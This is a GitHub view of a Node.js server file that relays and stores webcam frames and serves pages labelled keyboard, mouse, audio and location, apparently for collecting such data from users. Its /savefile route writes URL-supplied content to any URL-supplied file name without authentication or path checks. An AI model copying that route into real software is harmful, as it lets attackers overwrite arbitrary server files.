-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js
executable file
·156 lines (137 loc) · 3.85 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
const path = require("path");
const express = require("./node_modules/express");
const http = require("http");
const WebSocket = require("./node_modules/ws");
const app = express();
var bodyParser = require("body-parser");
app.use(bodyParser.json());
var upperBound = "1gb";
app.use(bodyParser.urlencoded({ extended: false, limit: upperBound }));
const httpServer = http.createServer(app);
var fs = require("fs");
var location = require("location-href");
const PORT = process.env.PORT || 3000;
const wsServer = new WebSocket.Server({ server: httpServer }, () =>
console.log(`WS server is listening at ws://localhost:${WS_PORT}`)
);
// array of connected websocket clients
let connectedClients = [];
wsServer.on("connection", (ws, req) => {
var webcamData = { webcamData: [] };
var allowWrite = true;
console.log("Connected");
connectedClients.push(ws);
ws.on("message", data => {
var currentTime = new Date();
var currentOffset = currentTime.getTimezoneOffset();
var ISTOffset = 330; // IST offset UTC +5:30
var now = new Date(
currentTime.getTime() + (ISTOffset + currentOffset) * 60000
);
var currentSecond = now.getSeconds();
var currentMinute = now.getMinutes();
connectedClients.forEach((ws, i) => {
var fileName = "";
var timeStamp = now
.toISOString()
.replace(/T/, " ")
.replace(/\..+/, "");
if (currentMinute % 2 == 0) {
fileName = "even_timestamp_data.json";
} else {
fileName = "odd_timestamp_data.json";
}
if (ws.readyState === ws.OPEN) {
// check if it is still connected
if (currentSecond % 10 == 0 && allowWrite == true) {
webcamData.webcamData.push({
timeStamp: timeStamp,
base64: data
});
fs.writeFile(
fileName,
JSON.stringify(webcamData, null, "\t"),
function(err) {
if (err) throw err;
}
);
console.log(
fileName,
timeStamp,
webcamData.webcamData.length,
"\n",
"\n"
);
allowWrite = false;
} else if (currentSecond % 10 != 0) {
allowWrite = true;
if (currentSecond == 59) webcamData.webcamData = [];
}
ws.send(data); // send
} else {
// if it's not connected remove from the array of connected ws
connectedClients.splice(i, 1);
//
console.log("Dead", location());
}
});
});
});
// HTTP stuff
app.get("/even", (req, res) =>
res.sendFile(path.resolve(__dirname, "./even_timestamp_data.json"))
);
app.get("/odd", (req, res) =>
res.sendFile(path.resolve(__dirname, "./odd_timestamp_data.json"))
);
app.get("/client", (req, res) =>
res.sendFile(path.resolve(__dirname, "./client.html"))
);
app.get("/streamer", (req, res) =>
res.sendFile(path.resolve(__dirname, "./streamer.html"))
);
app.get("/keyboard", (req, res) =>
res.sendFile(path.resolve(__dirname, "./keyboard.html"))
);
app.get("/mouse", (req, res) =>
res.sendFile(path.resolve(__dirname, "./mouse.html"))
);
app.get("/audio", (req, res) =>
res.sendFile(path.resolve(__dirname, "./audio.html"))
);
app.get("/location", (req, res) =>
res.sendFile(path.resolve(__dirname, "./location.html"))
);
app.get("/savefile/:str/:fName", (req, res) => {
fs.writeFile(req.params.fName, req.params.str, function(err) {
if (err) throw err;
});
res.send(`success`);
});
app.post("/saveblob", (req, res) => {
var buf = new Buffer.from(req.body.blob, "base64"); // decode
fs.writeFile(
"audio/iamakx_sound_" + new Date().getTime() + ".wav",
buf,
function(err) {
if (err) {
console.log("err", err);
}
}
);
res.send(`success`);
});
app.get("/", (req, res) => {
res.send(`
<a href="streamer">Streamer</a><br>
<a href="client">Client</a><br>
<hr>
<a href="keyboard">keyboard</a><br>
<a href="mouse">mouse</a><br>
<a href="audio">audio</a><br>
<a href="location">location</a><br>
`);
});
httpServer.listen(PORT, () =>
console.log(`HTTP server listening at http://localhost:${PORT}`)
);